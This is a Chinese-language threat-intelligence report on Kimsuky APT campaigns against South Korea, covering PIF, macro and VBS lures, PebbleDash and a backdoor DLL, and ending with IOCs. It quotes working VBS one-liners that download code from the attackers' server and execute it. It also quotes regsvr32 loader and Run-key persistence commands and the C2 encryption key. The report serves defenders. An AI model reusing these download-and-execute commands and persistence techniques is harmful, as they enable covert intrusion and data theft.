freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

来自Kimsuky组织的突刺:多种攻击武器针对韩国的定向猎杀
2022-12-05 11:43:36
所属地 北京

背景

Kimsuky,别名Mystery Baby、Baby Coin、Smoke Screen、Black Banshe等,奇安信内部跟踪编号为APT-Q-2。Kimsuky最早由卡巴斯基于2013年公开披露并命名,攻击活动最早可追溯至2012年,是疑似具有东亚国家背景的APT组织。该组织主要攻击目标为韩国,涉及国防、教育、能源、政府、医疗以及智囊团等领域,以机密信息窃取为主。通常使用社会工程学、鱼叉邮件、水坑攻击等手段投递恶意软件,拥有功能完善的恶意代码武器库。Kimsuky至今一直处于活跃状态,从2018年开始频繁开展了多起针对韩美两国特定领域人员的攻击活动【1】

近期,在美韩联合演习这一背景下,我们监测到大量来自Kimsuky组织的攻击,从攻击样本来看,使用pif、hwp、doc等文件做为诱饵进行初始攻击,后续载荷包括其常使用的AppleSeed、PebbleDash等木马。

概述

近日,奇安信红雨滴团队在日常高价值样本狩猎过程中,捕获到多例Kimsuky组织针对韩国地区的攻击样本。根据红雨滴研究人员跟踪分析,此次的攻击活动有如下特点:

  1. 使用PIF可执行文件格式伪装成PDF文件,后续载荷为PebbleDash木马;
  2. 部分样本诱饵被韩国DRM软件加密,疑似由Kimsuky组织在其他攻击活动中所窃取,用于实施定向攻击;
  3. 样本擅用加解密算法来躲避相关杀软的静态查杀;

与此同时,我们在安全社区上也及时做出了预警。

1670211086_638d660ed8ef3a45cd694.png!small?1670211087488

PIF诱饵

样本实际为PIF可执行程序,使用PDF图标进行伪装,其功能为Dropper程序,释放诱饵和加载后续载荷执行。其样本内的字符串均使用自定义的算法进行加密,执行时通过解密字符串从而获取API函数地址,其解密函数如下。

1670211094_638d661685b2668e858dd.png!small?1670211095192

分析发现,该解密函数以及使用的Key与去年我们在《Kimsuky武器库更新:利用新冠疫情为诱饵针对韩国地区的攻击活动分析》【2】一文中披露的相同,使用类似base64的映射表来进行解密,其python版本的解密代码如下:1670211118_638d662e17ef397313630.png!small?1670211118713

样本读取文件自身数据,异或解密后在C:\ProgramData\目录下写入诱饵文件和后续载荷。

1670211129_638d663955767141d70a5.png!small?1670211129948

随后获取函数ShellExecuteW地址,调用打开诱饵xlsx文档以迷惑受害者。

1670211142_638d66465b5f0e2620824.png!small?1670211142799

解密的xlsx文档包含文件头“SCDSA002”,该文件很有可能经韩国的DRM产品加密处理过,由此推测有可能是Kimsuky组织在其他攻击活动中窃取的文件,用来作为诱饵针对特定人群实施定向攻击。

1670211148_638d664c75448691150c7.png!small?1670211149132

随后解密出下一阶段Thumbs.db.pif的启动参数njXbxuRQyujZeUAGGYaH并启动执行。

1670211156_638d6654df67853f69bb9.png!small?1670211157734

值得一提的是,该攻击样本以及后续载荷中,均在样本中打印其调试信息。

1670211162_638d665a998624e58da5c.png!small?1670211163362

PebbleDash

执行的Thumbs.db.pif载荷实际为PebbleDash木马,该木马是NukeSped变种木马之一,过去被认为是Lazarus组织所使用的恶意代码,但去年被发现与Kimsuky常用的AppleSeed木马一起用于攻击。美国CISA分析报告将其初代木马命名为PebbleDash【3】,其相关信息如下:

文件名

Thumbs.db.pif

MD5

f6628bd40f4cd6cc8405541c269ac901

文件大小

319488字节

启动参数

njXbxuRQyujZeUAGGYaH

样本启动后会校验参数个数,当未携带参数时直接退出程序,在单独执行该样本时,可有效躲避沙箱的动态行为检测。

1670211194_638d667a8fd8998465546.png!small?1670211195131

当参数为njXbxuRQyujZeUAGGYaH时,拷贝副本至system32文件夹中,并命名为lsass.exe。

1670211201_638d668101e22bc072c44.png!small?1670211201503

随后在注册表添加持久化,执行副本程序lsass.exe并传入参数iFfmHUtawXNNxTHEiAAN。

1670211207_638d6687c96dc5d3a4acf.png!small?1670211208427

当启动参数为iFfmHUtawXNNxTHEiAAN时,首先隐藏错误显示框。然后判断参数个数,当大于等于3时,则会触发特定文件删除功能。写入大量空白数据,进行随机更名后删除文件。

1670211219_638d6693d016f9105c634.png!small?1670211220366

随后样本使用0xB2作为密钥,异或解密出相关URL信息。

1670211231_638d669f8b3091edbad01.png!small?1670211232010

值得一提的是,样本使用GetLogicalDrives函数获取当前可用驱动器的数量,然后周期性地感知数量的变化。使用WTSEnumerateSessionsW函数监测目前被激活的会话数量,如果有更多的用户登录到感染系统,或者使用RDP进行原始访问,会监测到会话数量的增加,进而更改全局变量的值以执行命令。1670211237_638d66a57b804ea6f52e6.png!small?1670211238438

样本使用HTTP协议与C2服务器通信,在请求C2时,使用特定字段来查询、发送和接收数据。

字段

含义

sep

发送的数据类型

uid

磁盘序列号

sid

随机数据

data

获取到的数据

发送数据后,从C2接收指令执行,其指令功能如下:

指令码

功能

3

修改当前目录

4

更改文件时间

5

结束特定进程

6

窃取执行的进程信息

7

删除文件

8

创建线程删除文件

9

创建进程

10

突破session 0隔离创建用户进程

11

使用regsvr[]32注册实例

12

执行下载的文件

13

上传文件

14

下载文件

15

以分钟为单位设定下一个CC通信时间

16

以Hex为单位设定下一个CC通信时间

17

删除开机注册表启动项

18

窃取系统相关信息

19

传送设定的数据

20

执行命令和获取结果

21

关闭错误提示重定向文件(宽字节)

22

关闭错误提示重定向文件

23

设定数据

24

提权后远线程注入

宏文档样本

携带恶意宏的文档样本基本信息如下:

文件名

미국의 외교정책과 우리의 대응방향.doc

(译为“美国外交政策和我们的回应”)

MD5

4de19e2c39b1d193e171dc8d804005a4

文件类型

Word文档

文件大小

54401字节

文件创建时间

2022-04-22 06:49:00 UTC

文档打开后展示内容如下,根据内容可以看出报告来自韩国政府智囊团,这份报告很可能是Kimsuky在之前攻击活动中窃取的文件。

1670211251_638d66b3dffe33133a9e2.png!small?1670211252635

1670211259_638d66bb9bc79f1694f1a.png!small?1670211261464

一旦启用诱饵文档中的宏,样本将会向C2服务器请求后续载荷,收集受害者机器的相关信息并上传,攻击流程如下所示。1670211269_638d66c509caa4c7a0167.png!small?1670211269673

宏 & 第一阶段VBS

在文档的宏代码中,函数Unpck通过字符替换恢复所需的字符串。1670211275_638d66cb0485d1186913d.png!small?1670211275540

将VBS脚本保存为templates目录下的version.ini文件,然后调用wscript执行。1670211279_638d66cfddedc8d5da5da.png!small?1670211280480

写入version.ini文件的VBS代码如下。通过GET请求从目标URL拉取后续,并直接执行响应内容中包含的代码。

On Error Resume Next:Set mx = CreateObject(Microsoft.XMLHTTP):mx.open GET, http://uppgrede.scienceontheweb.net/file/upload/list.php?query=1, False:mx.Send:Execute(mx.responseText)

第二阶段VBS

拉取的后续载荷依然是VBS代码。代码首先在templates目录下创建一个以”OfficeAppManifest_v[minute]_[hour]_[day+month].xml”格式命名的文件。1670211293_638d66dd92d653e9ab4df.png!small?1670211294419

该文件的内容也是VBS代码,功能是从C2服务器拉取后续并执行,请求的URL与version.ini一样,但请求的参数有所不同,为”query=6”。

On Error Resume Next:With CreateObject("InternetExplorer.Application"):.Navigate "http://uppgrede.scienceontheweb.net/file/upload/list.php?query=6":Do while .busy:WScript.Sleep 100:Loop:bt=.Document.Body.InnerText:.Quit:End With:Execute(bt)

文件内容写入后,调用代码中的Reg函数注册计划任务,从而执行上述被释放的VBS脚本。计划任务以”Microsoft”的名义创建,在5天后开始执行,执行间隔为60分钟。1670211310_638d66eebd0c25ff799b3.png!small?1670211311324

接着修改注册表中浏览器设置,从hxxp://uppgrede.scienceontheweb.net/file/upload/lib.php?idx=1获取后续并执行。

1670211317_638d66f5243f061f3c8fb.png!small?1670211317603

1670211321_638d66f951ad4cf76f3d1.png!small?1670211321925

1670211326_638d66fed109dfa0b1389.png!small?1670211327625

第三阶段Powershell

从Lib.php下载回来的是Powershell脚本,脚本的模块名称为GetInfo,有一个参数”ur”,表示通信URL。1670211338_638d670a0767e2b50017e.png!small?1670211338961

脚本收集受害者主机的各类信息,并将数据以POST请求的方式回传到ur参数指定URL的show.php页面。1670211342_638d670eaa92bf98c9b2b.png!small?1670211343216

值得注意的是,代码使用如下的硬编码User-Agent发起HTTP请求,其中用错误的拼写”Chremo””Edgo”表示”Chrome”和”Edge”。国外友商在近期的一篇报告中提到Kimsuky通过这种方式验证请求是否来自受害者机器【4】

Mozilla/5.0 (Windows NT 10.x; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chremo/87.0.4280.141 Safari/537.36 Edgo/87.0.664.75

双扩展名VBS样本

根据216[.]189.154.6这个IP,我们发现了一个使用双扩展名进行伪装的VBS样本,基本信息如下:

文件名

SW보안점검표(개발자 사전점검용)_v2.0_beta.xlsm .vbs

(译为“SW 安全检查表(用于开发人员预检查)”)

MD5

12539ac37a81cc2e19338a67d237f833

文件类型

VBScript文件

文件大小

6254878字节

该样本在运行后会释放带加密保护的诱饵文档,同时在受害者毫无察觉的情况下加载一个轻量级后门,执行流程如下所示。1670211366_638d6726202721d67c2e4.png!small?1670211366650

VBS & 加载器DLL

VBS代码首先base64解码诱饵文档数据,将其释放后打开,再经过解码并按字节异或0x8d解密得到DLL数据,保存为文件”wg5Du.iWJ446”,通过如下命令启动DLL,最后执行自删除操作清除VBS文件。

regsvr[]32 /s /i:13579ASDFG C:\ProgramData\wg5Du.iWJ446

1670211373_638d672dc727b57131a46.png!small?1670211374422

1670211376_638d6730ee20104aafc54.png!small?1670211377447

在VBS代码最后实际上还有另一段PE文件数据,不过这段PE数据在代码中并未被使用。按照同样的方法解密这部分数据,发现该PE其实是由被释放的DLL数据复制9次拼接而来。

释放的诱饵文档不能直接打开,并且头部带有”SCDSA002”字样,很可能经过韩国的DRM产品加密,也意味着这可能是之前被窃取的文档。1670211383_638d673710c92492a59ef.png!small?1670211383644

VBS脚本释放的DLL文件基本信息如下。

文件名

wg5Du.iWJ446

MD5

a4d58f1bcce687d4ea60a3fe60120d5e

编译时间

2022-08-23 09:24:13 UTC

文件类型

PE DLL 64-bit

文件大小

457728字节

释放的DLL实际是个加载器,其入口点函数通过AES解密得到另一段DLL数据,然后直接内存加载并调用该DLL的入口点函数。1670211391_638d673f76be568e20b92.png!small?1670211392056

因为加载器DLL是通过regsvr[]32.exe启动的,所以它的导出函数DllRegisterServer也会被调用。该函数会调用被加载DLL偏移0xB2F0处的函数,而这个偏移值是被加载DLL的DllRegisterServer导出函数所在位置。1670211395_638d6743b526cc158f26e.png!small?1670211396230

1670211398_638d6746ade7c73db09c5.png!small?1670211399136


后门DLL

内存中加载的DLL为一个轻量级后门,导出函数DllRegisterServer执行持久化操作,入口点函数与C2服务器进行通信。

DllRegisterServer通过设置注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run键值实现持久化,值名称为”ESTUpdate”,对应的命令如下:

cmd.exe /c start regsvr[]32.exe /s c:\\programdata\\IconCache.db

1670211404_638d674cbb50ac3ae76ce.png!small?1670211405761

1670211409_638d67519c7179a24a2c5.png!small?1670211410178

如果IconCache.db文件不存在,则调用GetModuleFileNameW获取后门DLL模块的文件路径,复制为C:\ProgramData\\IconCache.db。

后门DLL获取Windows API时,先计算函数名称的hash值,再通过该hash值在进程加载的DLL模块中查找API,避开了对GetProcAddress的调用。1670211418_638d675aece6f90d73440.png!small?1670211419423

1670211424_638d67603d0bcd72c821d.png!small?1670211425094

后门DLL中使用的字符串一般通过异或解密恢复,异或的key为字符串第一字节或前两字节(ASCII字符串的key为1字节,宽字符串的key为2字节)。异或方式有两种:一种是直接异或key,另一种是异或key与序号之和。1670211431_638d6767dcc8fd110c0bd.png!small?1670211432551

入口点函数通过CreateThread调用sub_18000ACC0开启与C2服务器通信的线程。先恢复出通信的URL:hxxp://qwert.mine.bz/index.php,然后进入循环。1670211437_638d676dd604862554859.png!small?1670211438431

在循环中,线程首先向C2服务器发送一个POST请求作为上线通知,如果C2服务器有响应,且响应内容首字节为字符”1”,则继续进行后续操作,否则休眠3秒。1670211442_638d67725da928110ec11.png!small?1670211443087

发送的上线通知POST请求如下。1670211447_638d67776690987fda050.png!small?1670211447972

接收到C2服务器的响应后,线程会创建一个CMD shell。1670211451_638d677bbe61c926af926.png!small?1670211452390

调用函数sub_18000AA70创建额外两个线程:一个线程向C2服务器请求指令并进行指令分发,另一个线程将CMD shell中的命令执行结果回传给C2服务器。1670211457_638d67817cad80a3be7b3.png!small?1670211458092

1670211463_638d678712fb635651d34.png!small?1670211464042

后门与C2服务器的通信数据经过RC4加密并使用base64编码,加解密的key为”asleri@#%dg9ser3$#$^@34sdfxl”。1670211469_638d678da8fd1c44c9394.png!small?1670211470663

整理后门指令如下。

指令

功能

die

自删除。清除后门对应文件,退出进程

getinfo

收集信息。包括用户名、计算机名、操作系统详细信息、杀软信息

where

获取后门对应的文件路径

run

创建进程运行指定指令

exit

断开此次与C2服务器的连接

其他指令

由创建的CMD shell执行

样本关联

宏文档样本与ASEC在今年5月披露的Kimsuky样本攻击流程一致【5】1670211480_638d6798e3e31272b804a.png!small?1670211481753

双扩展名VBS样本通过regsvr[]32加载后门DLL的方式也是Kimsuky在启动AppleSeed时常用的一种手段【6】1670211488_638d67a06252e9684b732.png!small?1670211489174

此外,我们在样本库中拓展线索时,也发现了额外的VBS脚本下载器。1670211495_638d67a7403215c0f1b5f.png!small?1670211495767

Base64编码的powershell解码后如下:1670211499_638d67aba15568697a8e6.png!small?1670211500170

以及hwp后缀的恶意文件,其释放的VBS脚本如下:1670211503_638d67af2edb86c009b1e.png!small?1670211503721

总结

Kimsuky组织是一个十分活跃的组织,长期针对韩国政府、新闻机构等目标发起攻击活动。其通常使用社会工程学、鱼叉邮件、水坑攻击等手段投递恶意软件,拥有功能完善的恶意代码武器库。此次捕获的攻击活动也可以看出该组织攻击手法灵活多变,武器库层出不穷,是攻击能力较强的APT团伙。

IOCs

77b7856144515bb3905df8b3fb210a2e

f6628bd40f4cd6cc8405541c269ac901

4de19e2c39b1d193e171dc8d804005a4

12539ac37a81cc2e19338a67d237f833

a4d58f1bcce687d4ea60a3fe60120d5e

19ef39e9936b7b46e88d55115dfa9679

6083a1af637d9dd2b2a16538a17e1f45

ca2917006eb29171c9e5f374e789f53a

C2

uppgrede[.]scienceontheweb.net

qwert[.]mine.bz

office.pushitlive[.]net

216[.]189.154.6

URL

hxxp://uppgrede.scienceontheweb.net/file/upload/list.php?query=

hxxp://uppgrede.scienceontheweb.net/file/upload/lib.php?idx=1

hxxp://uppgrede.scienceontheweb.net/file/upload/show.php

hxxp://qwert.mine.bz/index.php

hxxp://office.pushitlive.net/index.php

hxxp://yulsohnyonsei.atwewbpages.com/d.php

hxxp://yulsohnyonsei.atwebpages.com/1.hwp

hxxps://driver.googledocs.cloudns.nz/Yb/yb

参考链接

[1] https://ti.qianxin.com/apt/detail/5b45758d596a10001ffa2d3a?name=Kimsuky&type=map

[2] https://ti.qianxin.com/blog/articles/Kimsuky-Weapon-Update:-Analysis-of-Attack-Activity-Targeting-Korean-Region/

[3] https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-133c

[4] https://securelist.com/kimsukys-golddragon-cluster-and-its-c2-operations/107258/

[5] https://asec.ahnlab.com/en/34694/

[6] https://asec.ahnlab.com/ko/34883/

# APT组织 # Kimsuky
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录